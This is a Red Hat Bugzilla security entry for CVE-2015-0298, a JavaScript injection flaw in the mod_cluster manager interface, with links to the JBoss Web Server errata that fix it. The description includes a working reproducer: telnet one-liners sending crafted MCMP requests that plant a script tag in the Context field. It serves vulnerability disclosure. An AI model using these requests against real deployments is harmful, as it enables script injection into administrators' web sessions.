Bugzilla will be upgraded to version 5.0 on a still to be determined date in the near future. The original upgrade date has been delayed.
Bug 1197769 - (CVE-2015-0298) CVE-2015-0298 mod_cluster: JavaScript code injection is possible via MCMP mod_manager messages
CVE-2015-0298 mod_cluster: JavaScript code injection is possible via MCMP mod...
Status: NEW
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
high Severity high
: ---
: ---
Assigned To: Red Hat Product Security
Michal Karm Babacek
impact=important,public=20150505,repo...
: Security
Depends On: 1197186 1238180 1245614 1260483 1260484
Blocks: 1197776 1254231
  Show dependency treegraph
 
Reported: 2015-03-02 10:01 EST by Vasyl Kaigorodov
Modified: 2018-05-10 14:14 EDT (History)
57 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
A flaw was found in the way the mod_cluster manager processed certain MCMP messages. An attacker with access to the network from which MCMP messages are allowed to be sent could use this flaw to execute arbitrary JavaScript code in the mod_cluster manager web interface.
Story Points: ---
Clone Of:
Environment:
Last Closed:
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)


External Trackers
Tracker ID Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2015:1641 normal SHIPPED_LIVE Important: Red Hat JBoss Web Server 2.1.0 security update 2015-08-18 18:48:48 EDT
Red Hat Product Errata RHSA-2015:1642 normal SHIPPED_LIVE Important: Red Hat JBoss Web Server 2.1.0 security update 2015-08-18 18:51:12 EDT

  None (edit)
Description Vasyl Kaigorodov 2015-03-02 10:01:44 EST
Michal Babacek from Red Hat discovered [1] that it's possible to iject arbitrary JavaScript code in the mod_manager web interface using MCMP messages:

- With mod_cluster Manager running on 127.0.0.1:6666 run the commands below:
"""
  { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666
  { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666
"""
- Open http://localhost:6666/mod_cluster_manager and you'll see a JavaScript pop-up Alert being executed.

Proposed (intrusive) patch and further discussion is available at [1].

[1]: https://issues.jboss.org/browse/MODCLUSTER-453
Comment 2 Timothy Walsh 2015-05-04 21:49:27 EDT
removing embargo due to patch has been included in EAP 6.4.
Comment 8 errata-xmlrpc 2015-08-18 14:49:08 EDT
This issue has been addressed in the following products:

  JBoss Web Server 2.1.0

Via RHSA-2015:1641 https://rhn.redhat.com/errata/RHSA-2015-1641.html
Comment 10 errata-xmlrpc 2015-08-18 14:51:25 EDT
This issue has been addressed in the following products:

  JBEWS 2 for RHEL 6
  JBEWS 2 for RHEL 7
  JBEWS 2 for RHEL 5

Via RHSA-2015:1642 https://rhn.redhat.com/errata/RHSA-2015-1642.html

Note You need to log in before you can comment on or make changes to this bug.